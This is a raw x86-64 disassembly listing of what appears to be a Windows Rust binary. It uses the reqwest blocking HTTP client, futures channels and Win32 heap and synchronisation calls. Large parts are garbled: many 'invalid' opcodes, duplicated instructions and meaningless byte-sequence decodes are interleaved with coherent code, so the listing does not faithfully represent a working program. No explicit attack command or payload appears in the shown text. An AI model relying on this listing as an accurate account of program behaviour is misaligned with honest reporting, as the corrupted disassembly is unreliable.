mov rsi, qword [r12 + 0x10]
cmp r8, qword [rsi + 0x30]
jb 0x1400c6faf
mov rdi, qword [r12 + 0x18]
lea rsi, [rdi + 0x10]
mov cl, 1
xor eax, eax
lock cmpxchg byte [rdi + 0x10], cl
jne 0x1400c756a
mov rax, qword [0x140182308]
shl rax, 1
xor ebx, ebx
test rax, rax
jne 0x1400c7577
movzx eax, byte [rdi + 0x11]
test al, al
jne 0x1400c758d
mov rax, qword [rdi + 0x18]
test rax, rax
je 0x1400c6f1f
mov rcx, qword [rdi + 0x20]
call qword [rax + 0x18]
mov qword [rdi + 0x18], 0
mov byte [rdi + 0x28], 1
test bl, bl
jne 0x1400c6f42
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400c75dd
xor eax, eax
xchg byte [rsi], al
cmp al, 2
jne 0x1400c6f53
mov rcx, rsi
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
mov rsi, qword [r12 + 0x18]
lock inc qword [rsi]
jle 0x1400c7ac9
mov rdi, qword [r12 + 0x10]
movzx eax, byte [0x140182310]
mov edx, 0x10
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400c7756
mov qword [rax], 0
mov qword [rax + 8], rsi
mov rcx, rax
xchg qword [rdi + 0x20], rcx
mov qword [rcx], rax
mov rax, qword [r12 + 0x10]
mov rax, qword [rax + 0x38]
shr rax, 0x3f
mov byte [r12 + 0x20], al
mov rsi, qword [r12 + 0x10]
movzx eax, byte [0x140182310]
mov edx, 0x30
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400c682b
mov qword [rax], 1
movaps xmm0, xmmword [rsp + 0x50]
movaps xmm1, xmmword [rsp + 0x60]
movups xmmword [rax + 8], xmm0
movups xmmword [rax + 0x18], xmm1
mov qword [rax + 0x28], 0
mov rcx, rax
xchg qword [rsi + 0x10], rcx
mov qword [rcx + 0x28], rax
mov rax, qword [rsi + 0x58]
nop dword [rax + rax]
mov rcx, rax
or rcx, 2
lock cmpxchg qword [rsi + 0x58], rcx
jne 0x1400c7000
test rax, rax
jne 0x1400c7032
mov rax, qword [rsi + 0x48]
mov rcx, qword [rsi + 0x50]
mov qword [rsi + 0x48], 0
lock and qword [rsi + 0x58], 0xfffffffffffffffd
test rax, rax
je 0x1400c7032
call qword [rax + 8]
mov byte [rsp + 0x240], 1
mov rcx, qword [rsp + 0x198]
add rcx, qword [rsp + 0x1c8]
mov qword [rsp + 0x198], rcx
cmp qword [rsp + 0x178], 0
jne 0x1400c6a46
mov r8, qword [rsp + 0x160]
test r8, r8
je 0x1400c70c2
mov qword [rsp + 0x1c8], r8
cmp byte [rsp + 0x1c0], 3
je 0x1400c747a
lea rcx, [rsp + 0xc0]
mov rdx, r13
call fcn.140012770
mov rsi, qword [rsp + 0xd8]
test sil, 1
jne 0x1400c7343
mov rdx, qword [rsp + 0xc0]
mov r8, qword [rsp + 0xc8]
lea rcx, [0x14014ef30]
and al, 0xc0
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0xc8
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0x87e73
jmp 0x1400c73fa
mov r8, qword [rsp + 0x168]
xor edx, edx
test r8, r8
jne 0x1400c70ee
mov edx, 0x40
mov rcx, r13
call fcn.140012910
mov rdx, qword [rsp + 0x160]
mov r8, qword [rsp + 0x168]
sub r8, rdx
add rdx, qword [rsp + 0x158]
mov rcx, qword [rsp + 0x188]
mov rax, qword [rsp + 0x190]
call qword [rax + 0x18]
mov rsi, rdx
test rax, rax
je 0x1400c7432
movzx ebx, byte [rsp + 0x1c0]
mov byte [rsp + 0x1c0], 3
cmp bl, 3
je 0x1400c76bf
movups xmm0, xmmword [r14]
movups xmm1, xmmword [r14 + 0x10]
movaps xmmword [rsp + 0x400], xmm1
movaps xmmword [rsp + 0x3f0], xmm0
add byte [rax + 0x410249c], cl
add byte [rax], al
add byte [rax + 0x410249c], cl
add byte [rax], al
mov eax, dword [r13 + 0x69]
mov ecx, dword [r13 + 0x6c]
lea rdx, [rsp + 0x4e0]
mov dword [rdx - 0xcc], ecx
invalid
invalid
dec dword [rcx - 0xce7e]
dec dword [rdi]
mov dh, 5
pushfq
mov cl, 0xb
add byte [rdx + 0x38], bh
add byte [rcx], dh
leave
invalid
add byte [rcx], dh
leave
call fcn.1400dfbe0
test rax, rax
je 0x1400c7629
mov qword [rax], 0
add byte [rax], al
add byte [rax], al
mov byte [rax + 0x29], 2
sub dword [rdx], eax
mov word [rax + 0x30], 0x101
mov rcx, qword [rsp + 0x400]
mov edx, ebx
mov r8, rax
call fcn.140036eb0
mov rax, qword [rsp + 0x3f8]
lock dec qword [rax]
jne 0x1400c71c7
mov rcx, qword [rsp + 0x3f8]
call fcn.140037080
cmp byte [rsp + 0x410], 2
je 0x1400c7260
mov rdi, qword [rsp + 0x400]
lock dec qword [rdi + 0x40]
jne 0x1400c7232
jne 0x1400c7232
mov rax, qword [rdi + 0x38]
test rax, rax
jns 0x1400c71fc
invalid
cmovs edi, dword [rax - 1]
invalid
movabs rax, 0x7fffffffffffffff
lock and qword [rdi + 0x38], rax
mov rax, qword [rdi + 0x58]
mov rcx, rax
or rcx, 2
or ecx, 2
or ecx, 2
lock cmpxchg qword [rdi + 0x58], rcx
jne 0x1400c7200
test rax, rax
jne 0x1400c7232
mov rax, qword [rdi + 0x48]
mov rcx, qword [rdi + 0x50]
mov qword [rdi + 0x48], 0
lock and qword [rdi + 0x58], 0xfffffffffffffffd
test rax, rax
je 0x1400c7232
call qword [rax + 8]
or al, dh
dec qword [rdi]
lock dec qword [rdi]
jne 0x1400c7245
lea rcx, [rsp + 0x400]
call fcn.1400357a0
mov rax, qword [rsp + 0x408]
lock dec qword [rax]
add al, dh
dec qword [rax]
jne 0x1400c7260
or eax, 0x248c8b48
or byte [rax + rax], al
add al, ch
and dh, bh
idiv bh
mov rcx, qword [rsp + 0x408]
call fcn.140037080
mov rdi, qword [rsp + 0x3f0]
test rdi, rdi
je 0x1400c72ec
mov bl, 1
mov al, 1
xchg byte [rdi + 0xa8], al
add byte [rax], al
add byte [rax], al
mov al, 1
xchg byte [rdi + 0x88], al
test al, al
jne 0x1400c72a6
mov rax, qword [rdi + 0x78]
mov rcx, qword [rdi + 0x80]
pop qword [rax + 0x48000000]
mov dword [rdi + 0x78], 0
pop qword [rax + 0x48000000]
mov dword [rdi + 0x78], 0
xor edx, edx
xchg byte [rdi + 0x88], dl
add byte [rax], al
add byte [rax], al
test rax, rax
je 0x1400c72a6
call qword [rax + 8]
xchg byte [rdi + 0xa0], bl
test bl, bl
jne 0x1400c72d9
mov rax, qword [rdi + 0x90]
mov rcx, qword [rdi + 0x98]
mov qword [rdi + 0x90], 0
test rax, rax
je 0x1400c72d1
call qword [rax + 0x18]
xor eax, eax
xchg byte [rdi + 0xa0], al
lock dec qword [rdi]
jne 0x1400c72ec
mov rcx, qword [rsp + 0x3f0]
call fcn.1400370d0
movzx eax, byte [0x140182310]
mov edx, 8
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400c760b
mov rbx, rax
mov qword [rax], rsi
mov dword [rax], esi
mov dword [rax], esi
movzx eax, byte [0x140182310]
mov edx, 0x70
xor ecx, ecx
call fcn.1400dfbe0
mov rsi, rax
lea rax, [0x14013cdd0]
test rsi, rsi
test esi, esi
jne 0x1400c6e14
loopne 0x1400c732c
invalid
mov ecx, 8
mov edx, 0x70
call fcn.140107fe0
shr rsi, 5
shr esi, 5
mov rdi, qword [rsp + 0xc0]
mov rax, qword [rsp + 0xc8]
mov r12, qword [rsp + 0xd0]
sub rdi, rsi
lea rbx, [rsi + rax]
cmp rax, r12
jne 0x1400c73a5
lea rcx, [0x140113ac0]
mov edx, 1
xor eax, eax
mov r9d, 0
test rbx, rbx
je 0x1400c73e0
lea rcx, [0x140129120]
test dil, 1
jne 0x1400c7492
mov rax, rdi
or rax, 1
or eax, 1
or eax, 1
lea rcx, [0x140129108]
jmp 0x1400c73da
invalid
movzx eax, byte [0x140182310]
mov edx, 0x18
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400c761a
add r12, rsi
mov qword [rax], rdi
mov qword [rax + 8], r12
mov qword [rax + 0x10], 1
lea rcx, [0x140113bb0]
lea ecx, [0x140113bb0]
lea ecx, [0x140113bb0]
mov rdx, rdi
mov r9, rbx
mov qword [rsp + 0x2e0], rsi
mov dword [rsp + 0x2e0], esi
mov r8, r9
sub r8, rsi
invalid
jb 0x1400c7638
invalid
add rdx, rsi
mov rsi, rax
mov qword [rsp + 0x1d0], r14
mov qword [rsp + 0x1d8], rcx
mov qword [rsp + 0x1e0], rdx
and al, 0xe0
add dword [rax], eax
add byte [rcx + rcx*4 - 0x7c], cl
and al, 0xe8
add dword [rax], eax
add byte [rax - 0x77], cl
mov ah, 0x24
lock add dword [rax], eax
add dh, al
test byte [rax + rax*2], ah
add al, byte [rax]
add byte [rax], al
and al, 0xe0
add dword [rax], eax
add byte [rcx + rcx*4 - 0x7c], cl
and al, 0xe8
add dword [rax], eax
add byte [rax - 0x77], cl
mov ah, 0x24
lock add dword [rax], eax
add dh, al
test byte [rax + rax*2], ah
add al, byte [rax]
add byte [rax], al
mov rcx, r14
jmp 0x1400c6b51
test rsi, rsi
je 0x1400c6a54
mov r8, qword [rsp + 0x160]
add r8, rsi
mov qword [rsp + 0xc0], r8
cmp r8, qword [rsp + 0x168]
add byte [rax], al
test byte [rax + riz*2], ah
add dword [rax], eax
add byte [rcx + 1], cl
invalid
add byte [rax], al
ja 0x1400c76d7
mov qword [rsp + 0x160], r8
mov qword [rsp + 0x1c8], r8
cmp byte [rsp + 0x1c0], 3
jne 0x1400c7084
lea rcx, str.tx_only_taken_on_error
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_blocking_body.rs__
mov edx, 0x16
call fcn.1401086b0
mov rdx, rdi
mov rax, rdi
jmp 0x1400c73dd
mov rdi, qword [rsp + 0x100]
test rdi, rdi
mov rbx, qword [rsp + 0x40]
mov r14, qword [rsp + 0x38]
mov esi, dword [rsp + 0x38]
mov r15, qword [rsp + 0x80]
je case.0x140068ed1.375
mov rax, qword [rdi + 0x30]
mov rcx, rax
or rcx, 4
lock cmpxchg qword [rdi + 0x30], rcx
cmpxchg qword [rdi + 0x30], rcx
cmpxchg qword [rdi + 0x30], rcx
jne 0x1400c74c0
and eax, 0xa
cmp eax, 8
jne 0x1400c74e2
mov rax, qword [rdi + 0x10]
mov rcx, qword [rdi + 0x18]
call qword [rax + 0x10]
lock dec qword [rdi]
jne case.0x140068ed1.375
mov rcx, qword [rsp + 0x100]
call fcn.1400bfc40
mov r12d, 4
jmp 0x1400c7a84
add byte [rax], al
add cl, ch
test byte [0xc9547502], al
ror dword [rax - 0x77], 1
shr eax, cl
movsd dword [rdi], dword [rsi]
mov word [rax + rax], es
mov rcx, rdx
mov rbx, rdx
call fcn.1401101b0
mov rdx, rbx
jmp 0x1400c6d34
mov rbx, rdx
call fcn.140110270
mov rdx, rbx
mov ebx, eax
xor bl, 1
movzx eax, byte [rdi + 0x11]
test al, al
je 0x1400c6d55
mov qword [rsp + 0x3f0], rdx
mov byte [rsp + 0x3f8], bl
and al, 0xf8
add eax, dword [rax]
add byte [rax - 0x73], cl
add eax, 0x75e3b
and al, 0xf8
add eax, dword [rax]
add byte [rax - 0x73], cl
add eax, 0x75e3b
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14013ece8]
lea r8, [rsp + 0x3f0]
mov edx, 0x2b
call fcn.140108600
mov rcx, rsi
call fcn.1401101b0
jmp 0x1400c6eee
call fcn.140110270
mov ebx, eax
xor bl, 1
movzx eax, byte [rdi + 0x11]
test al, al
je 0x1400c6f0f
invalid
invalid
stc
invalid
invalid
test byte [rdx + 0x48fffff9], al
mov dword [rsp + 0x3f0], esi
mov qword [rsp + 0x3f0], rsi
mov byte [rsp + 0x3f8], bl
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_channel_0.3.30_srcmpscmod.rs
jmp case.0x140070c13.355
mov rsi, rdx
call fcn.140110270
mov rdx, rsi
test al, al
jne 0x1400c6d94
mov byte [rdi + 0x11], 1
jmp 0x1400c6d94
mov rbx, rdx
call fcn.140110270
mov rdx, rbx
test al, al
jne 0x1400c6e5f
mov byte [rdi + 0x11], 1
jmp 0x1400c6e5f
invalid
clc
invalid
invalid
invalid
call fcn.140110270
test al, al
jne 0x1400c6f42
add byte [rax + rax*8 - 0x6a77af1], al
invalid
mov byte [rdi + 0x11], 1
jmp 0x1400c6f42
invalid
invalid
add ecx, ebp
stc
invalid
lea rcx, str.buffer_space_exhausted__sending_this_messages_would_overflow_the_state
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_channel_0.3.30_srcmpscmod.rs
mov edx, 0x46
call fcn.14010cf20
mov ecx, 8
mov edx, 8
call fcn.140107fe0
mov ecx, 8
mov edx, 0x18
call fcn.140107fe0
mov ecx, 8
mov edx, 0x38
add byte [rax], al
add byte [rax], al
call fcn.140107fe0
mov qword [rsp + 0x2e8], r9
lea rax, [rsp + 0x2e0]
mov qword [rsp + 0x50], rax
add al, byte [rax]
add byte [rax - 0x77], cl
and al, 0x50
lea rax, [0x1400ea0f0]
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x2e8]
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x68], rax
lea rax, str.cannot_advance_past__remaining_:___
mov qword [rsp + 0x3f0], rax
and al, 0xf0
add eax, dword [rax]
add byte [rax - 0x39], cl
test byte [rax + rdi*8], ah
add eax, dword [rax]
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdx], ah
add al, 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x50
mov qword [rsp + 0x400], rax
and al, 0
add al, 0
add byte [rax - 0x39], cl
test byte [rax + rcx], ah
add al, 0
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x73], cl
lea edx, [0x140141438]
and al, 0
add al, 0
add byte [rax - 0x39], cl
test byte [rax + rcx], ah
add al, 0
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x73], cl
lea edx, [0x140141438]
lea edx, [0x140141438]
add byte [rax - 0x73], cl
mov word [rax + rsi*8], fs
add eax, dword [rax]
add al, ch
ror dword [rbx], 4
add byte [rax - 0x73], cl
or eax, 0x7b5e2
lea rcx, [rsp + 0x3f0]
call fcn.140108280
lea rcx, str.tx_only_taken_on_error
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_blocking_body.rs__
mov edx, 0x16
call fcn.1401086b0
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x50], rax
and al, 0x50
and al, 0x50
lea rax, [fcn.140012f00]
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x58], eax
mov dword [rsp + 0x58], eax
lea rcx, [rsp + 0x168]
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x68], rax
and al, 0x68
lea rax, [0x140141790]
mov qword [rsp + 0x3f0], rax
mov qword [rsp + 0x3f8], 2
mov qword [rsp + 0x410], 0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x400], rax
test byte [rax + rax], ah
add al, 0
add byte [rax - 0x39], cl
test byte [rax + rcx], ah
add al, 0
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x7a067
invalid
invalid
invalid
invalid
add byte [rax - 0x39], cl
test byte [rax + rcx], ah
add al, 0
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x7a067
invalid
invalid
invalid
invalid
mov al, byte [0x8d480007]
mov word [rax + rsi*8], fs
add eax, dword [rax]
add al, ch
invalid
sub cl, byte [rbx]
lea rcx, [rsp + 0x3f0]
call fcn.140108280
add al, 0
add byte [rcx + 8], bh
mov ecx, 8
mov edx, 0x10
call fcn.140107fe0
lea rcx, [rsp + 0x3f0]
lea r8, [rsp + 0x2b8]
mov eax, 0x4c000002
mov edx, ebp
add byte [rbp + rcx*4 - 0x7c], cl
and al, 0xb8
mov eax, 0x4c000002
mov edx, ebp
mov eax, 0x4c000002
mov edx, ebp
call fcn.1400c4b60
mov r12, qword [rsp + 0x3f0]
cmp r12, 5
add eax, 0x9d850f
add byte [rax], al
add eax, 0x9d850f
add byte [rax], al
mov cl, 4
mov byte [rsp + 0x151], cl
cmp ebp, 0x3b9aca00
invalid
cmp ecx, dword [rdi]
invalid
mov dh, bl
invalid
invalid
invalid
invalid
call fcn.1400dfa40
mov r8d, edx
xor ecx, ecx
mov r9, qword [rsp + 0x48]
cmp rax, r9
setne cl
mov edx, 0xff
cmovae edx, ecx
xor esi, esi
cmp r8d, ebp
mov ecx, 0
sbb ecx, ecx
leave
leave
test dl, dl
cmovne ecx, edx
cmp cl, 2
jb 0x1400c78df
mov qword [rsp + 0x3f0], r9
mov dword [rsp + 0x3f8], ebp
add byte [rax - 0x73], cl
mov word [rax + rsi*8], fs
add eax, dword [rax]
add byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + rsi*8], fs
add eax, dword [rax]
add byte [rax], al
mov rdx, rax
invalid
push rsi
add byte [rax], al
mov rdx, rax
call fcn.1400d5e50
cmp edx, 0x3b9aca00
cmove edx, esi
cmovne rsi, rax
mov rcx, rsi
call fcn.1400d70d0
movzx eax, byte [rsp + 0x151]
mov dh, 0x84
and al, 0x51
add dword [rax], eax
add byte [rcx + 0x63], cl
add al, 0x87
mov dh, 0x84
and al, 0x51
add dword [rax], eax
add byte [rcx + 0x63], cl
add al, 0x87
add rax, r15
add eax, edi
jmp rax
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_blockingclient.rsthread_not_dropped_yet
call fcn.140108880
adc byte [rax + rax], al
adc byte [rax + rax], al
mov rsi, qword [rsp + 0x3f8]
lea rdx, [rsp + 0x400]
add eax, dword [rax]
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0
add al, 0
add byte [rax - 0x73], cl
lea rcx, [rsp + 0x530]
mov r8d, 0x88
lea rcx, [rsp + 0x530]
mov r8d, 0x88
call fcn.140106250
mov rdi, qword [rsp + 0x158]
test rdi, rdi
mov rbx, qword [rsp + 0x40]
mov r14, qword [rsp + 0x38]
mov r15, qword [rsp + 0x80]
je 0x1400c78b5
mov rax, qword [rdi + 0x30]
nop word cs:[rax + rax]
mov rcx, rax
or rcx, 4
lock cmpxchg qword [rdi + 0x30], rcx
jne 0x1400c7880
and eax, 0xa
cmp eax, 8
jne 0x1400c78a2
mov rax, qword [rdi + 0x10]
mov rcx, qword [rdi + 0x18]
call qword [rax + 0x10]
lock dec qword [rdi]
jne 0x1400c78b5
mov rcx, qword [rsp + 0x158]
call fcn.1400bfc40
cmp r12d, 4
je 0x1400c7acb
lea rcx, [rsp + 0x360]
lea rdx, [rsp + 0x530]
add byte [rcx - 0x48], al
mov byte [rax], al
add byte [rax], al
add byte [rcx - 0x48], al
mov byte [rax], al
add byte [rax], al
call fcn.140106250
jmp 0x1400c7a84
movzx eax, byte [rsp + 0x151]
mov r12d, 4
add al, 0
add byte [rax], al
add al, 0
add byte [rax], al
test eax, eax
je 0x1400c79d1
add byte [rax], al
add byte [rax], al
cmp eax, 3
mov r14, qword [rsp + 0x38]
clc
add ecx, dword [rbx + rcx*4 + 0x74]
and al, 0x38
mov r15, qword [rsp + 0x80]
je 0x1400c7967
cmp eax, 4
jne 0x1400c7a7d
mov rsi, qword [rsp + 0x158]
test rsi, rsi
mov rbx, qword [rsp + 0x40]
je 0x1400c7974
mov rax, qword [rsi + 0x30]
nop word cs:[rax + rax]
mov rcx, rax
or rcx, 4
lock cmpxchg qword [rsi + 0x30], rcx
jne 0x1400c7930
and eax, 0xa
cmp eax, 8
jne 0x1400c7952
mov rax, qword [rsi + 0x10]
mov rcx, qword [rsi + 0x18]
sbb dil, r15b
push rax
invalid
sbb dil, r15b
push rax
adc al, dh
dec qword [rsi]
invalid
lock dec qword [rsi]
invalid
jne 0x1400c7974
mov rcx, qword [rsp + 0x158]
call fcn.1400bfc40
invalid
invalid
invalid
jmp 0x1400c7974
invalid
mov rcx, r13
call fcn.1400c49f0
mov rbx, qword [rsp + 0x40]
pop rsp
and al, 0x40
pop rsp
and al, 0x40
cmp byte [rsp + 0x150], 0
je 0x1400c7a79
invalid
add byte [rax - 0x75], cl
mov ah, 0x24
add byte [rcx], al
add byte [rax], al
mov rsi, qword [rsp + 0x100]
test rsi, rsi
je 0x1400c7a79
mov rax, qword [rsi + 0x30]
nop word [rax + rax]
xor byte [rsi + 0xf], r12b
invalid
mov rcx, rax
or rcx, 4
lock cmpxchg qword [rsi + 0x30], rcx
cmpxchg dword [rsi + 0x30], ecx
cmpxchg dword [rsi + 0x30], ecx
jne 0x1400c79a0
and eax, 0xa
cmp eax, 8
jne 0x1400c79c2
mov rax, qword [rsi + 0x10]
mov eax, dword [rsi + 0x10]
mov rcx, qword [rsi + 0x18]
call qword [rax + 0x10]
lock dec qword [rsi]
je 0x1400c7a68
jmp 0x1400c7a79
mov rsi, qword [rsp + 0x130]
mov rdi, qword [rsp + 0x138]
mov rcx, rsi
call qword [rdi]
cmp qword [rdi + 8], 0
mov rbx, qword [rsp + 0x40]
and al, 0x40
and al, 0x40
mov r14, qword [rsp + 0x38]
mov r15, qword [rsp + 0x80]
je 0x1400c7a1c
cmp qword [rdi + 0x10], 0x11
jb 0x1400c7a0a
mov rsi, qword [rsi - 8]
mov rcx, qword [0x140182260]
or eax, 0xba84f
xor edx, edx
mov r8, rsi
invalid
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
lea rcx, [rsp + 0x108]
call fcn.140085690
mov rsi, qword [rsp + 0x100]
add byte [rcx], al
add byte [rax], al
add byte [rcx], al
add byte [rax], al
test rsi, rsi
je 0x1400c7a79
mov rax, qword [rsi + 0x30]
nop word [rax + rax]
xor byte [rsi + 0xf], r12b
invalid
mov rcx, rax
or rcx, 4
leave
invalid
leave
add al, 0xf0
lock cmpxchg qword [rsi + 0x30], rcx
lock cmpxchg qword [rsi + 0x30], rcx
jne 0x1400c7a40
and eax, 0xa
cmp eax, 8
jne 0x1400c7a62
mov rax, qword [rsi + 0x10]
mov rcx, qword [rsi + 0x18]
call qword [rax + 0x10]
lock dec qword [rsi]
jne 0x1400c7a79
mov rcx, qword [rsp + 0x100]
call fcn.1400bfc40
xor esi, esi
jmp 0x1400c7a84
xor esi, esi
jmp 0x1400c7a84
xor esi, esi
mov rbx, qword [rsp + 0x40]
mov rax, qword [rsp + 0xe8]
mov rcx, qword [rsp + 0xf0]
call qword [rax + 0x18]
cmp r12d, 3
cld
add ecx, dword [rdi]
test dword [rbx - 0x18], esi
invalid
invalid
cld
add ecx, dword [rdi]
test dword [rbx - 0x18], esi
invalid
mov rax, qword [rsi]
shl rax, 1
test rax, rax
invalid
je 0x1400c7abf
sal byte [rbx + rdx + 0x4c], 0x8b
or byte [rax - 0x75], r9b
or eax, 0xba7a9
mov r8, qword [rsi + 8]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [rsp + 0x78]
jmp 0x1400c66ed
ud2
call fcn.14010f090
int3
test r12, r12
je 0x1400c7e8d
movzx eax, byte [0x140182310]
mov edx, 0x18
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400c7ea5
mov qword [rax], 1
mov qword [rax + 8], 1
mov rcx, rax
add rcx, 0x10
mov qword [rax + 0x10], r12
lea rax, fcn.1400bfd70
invalid
invalid
add byte [rax - 0x77], cl
and al, 0x58
mov qword [rsp + 0x60], rcx
lea rax, [rsp + 0x58]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 0
mov r12, qword [r15 + 0x18]
lea rdx, [rsp + 0x20]
mov rcx, rbx
mov r8, rdi
mov r9, rsi
call r12
cmp rax, 2
jne 0x1400c7dd3
add byte [rax], al
invalid
invalid
add byte [rax], al
add byte [rcx - 0x6535ff03], al
cmp esi, dword [rbp + 0x2e]
cmp ebp, 0x3b9aca00
jne 0x1400c7d4f
lea r14, [rsp + 0x20]
nop word cs:[rax + rax]
call fcn.1400d6f60
mov rcx, rbx
mov rdx, r14
mov r8, rdi
mov r9, rsi
call r12
cmp rax, 2
je 0x1400c7d30
jmp 0x1400c7dd3
xor r15d, r15d
lea r13, [rsp + 0x20]
nop word [rax + rax]
call fcn.1400dfa40
mov r8d, edx
xor ecx, ecx
cmp rax, r14
setne cl
mov edx, 0xff
cmovb ecx, edx
cmp r8d, ebp
mov edx, 0
sbb edx, edx
test cl, cl
cmovne edx, ecx
cmp dl, 2
jb 0x1400c7e57
mov qword [rsp + 0x68], r14
mov dword [rsp + 0x70], ebp
lea rcx, [rsp + 0x68]
mov rdx, rax
call fcn.1400d5e50
cmp edx, 0x3b9aca00
invalid
cmp eax, dword [rcx + 0xf]
xlatb
mov ecx, 0
cmovne rcx, rax
invalid
call fcn.1400d70d0
mov rcx, rbx
mov rdx, r13
mov r8, rdi
mov r9, rsi
call r12
cmp rax, 2
je 0x1400c7d60
mov r15, rdx
mov rsi, rax
mov rax, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x60]
call qword [rax + 0x18]
mov rax, rsi
test rsi, rsi
je 0x1400c7e43
test r15, r15
jne 0x1400c7e43
movzx eax, byte [0x140182310]
mov edx, 0x70
xor ecx, ecx
leave
leave
call fcn.1400dfbe0
test rax, rax
je 0x1400c7ecc
movabs rcx, 0x8000000000000000
mov qword [rax], rcx
mov qword [rax + 0x58], 1
lea rcx, [0x14013cce0]
mov qword [rax + 0x60], rcx
mov word [rax + 0x68], 5
mov rcx, rax
mov ecx, eax
mov ecx, eax
call fcn.1400bd9f0
mov r15, rax
mov rax, rsi
mov rdx, r15
cli
add rsp, 0x78
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov esi, 1
jmp 0x1400c7dd9
mov rax, qword [rcx + rax*8]
mov r12, qword [rax + 0xc0]
lock inc qword [r12]
jg 0x1400c7c92
ud2
lea rcx, str.use_of_std::thread::current___is_not_possible_after_the_threads_local_data_has_been_destroyed
or eax, 0x80e6c
lea r8, [0x140148d60]
mov edx, 0x5e
call fcn.1401086b0
mov ecx, 8
mov edx, 0x18
call fcn.140107fe0
lea rcx, str.overflow_when_adding_duration_to_instantlibrary_std_src_time.rs
lea r8, [0x1401499d0]
mov edx, 0x28
call fcn.1401086b0
mov ecx, 8
mov edx, 0x70
call fcn.140107fe0
mov ecx, 8
mov edx, 0x50
call fcn.140107fe0
lea rax, str.overflow_in_Duration::new
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 1
mov qword [rsp + 0x30], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
lea rdx, str._rustc_c987ad527540e8f1565f57c31204bde33f63df76librarycore_src_time.rs_
lea rcx, [rsp + 0x20]
call fcn.140108280
int3
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xa8
movaps xmmword [rsp + 0x90], xmm6
mov qword [rsp + 0x58], r9
mov qword [rsp + 0x50], r8
mov r15, rdx
mov rsi, rcx
lea r12, [rcx + 0x30]
lea rbx, [rsp + 0x38]
lea r14, [rsp + 0x70]
lea r13, [rcx + 0x10]
lea rdi, [rcx + 0x28]
lea rbp, [rsp + 0x20]
xorps xmm6, xmm6
mov rax, qword [rsi]
cmp rax, 1
je 0x1400c7ffc
jmp 0x1400c80b8
movups xmmword [rsi], xmm6
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x28]
movaps xmm0, xmmword [rsp + 0x30]
movups xmmword [r13 + 0x10], xmm0
mov qword [r13], rax
mov qword [r13 + 8], rcx
mov rax, qword [rsi]
cmp rax, 1
jne 0x1400c80b8
mov rcx, rbp
mov rdx, r12
mov r8, r15
call fcn.14004e9f0
mov rcx, qword [rsp + 0x20]
cmp rcx, 2
je 0x1400c8126
mov rax, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x30]
movups xmm0, xmmword [rbx]
movaps xmmword [rsp + 0x80], xmm0
test rcx, rcx
je 0x1400c812d
add byte [rax], al
add byte [rax], al
test rax, rax
je 0x1400c8153
movaps xmm0, xmmword [rsp + 0x80]
movups xmmword [r14], xmm0
movups xmmword [rsi], xmm0
movups xmmword [rsi], xmm0
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rdx
cmp qword [rsp + 0x70], 0
je 0x1400c80a0
invalid
mov rax, qword [rsp + 0x60]
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
movups xmm0, xmmword [rsp + 0x70]
movaps xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], rcx
cmp qword [rsi], 0
jne 0x1400c7fd0
mov rax, qword [rsi + 0x10]
mov rdx, qword [rsi + 0x18]
mov r8, qword [rsi + 0x20]
mov rcx, rdi
call qword [rax + 0x10]
jmp 0x1400c7fd0
lea rcx, [rsp + 0x78]
xor r8d, r8d
call qword [rax + 0x10]
push rax
adc byte [rax - 0x75], cl
invalid
cmp rax, 1
je 0x1400c7ffc
push rax
adc byte [rax - 0x75], cl
invalid
test rax, rax
jne 0x1400c814c
mov eax, dword [rax]
add byte [rax], al
mov eax, dword [rax]
add byte [rax], al
mov rdx, qword [rsi + 8]
mov r12, qword [rsi + 0x20]
mov r15, r12
sub r15, rdx
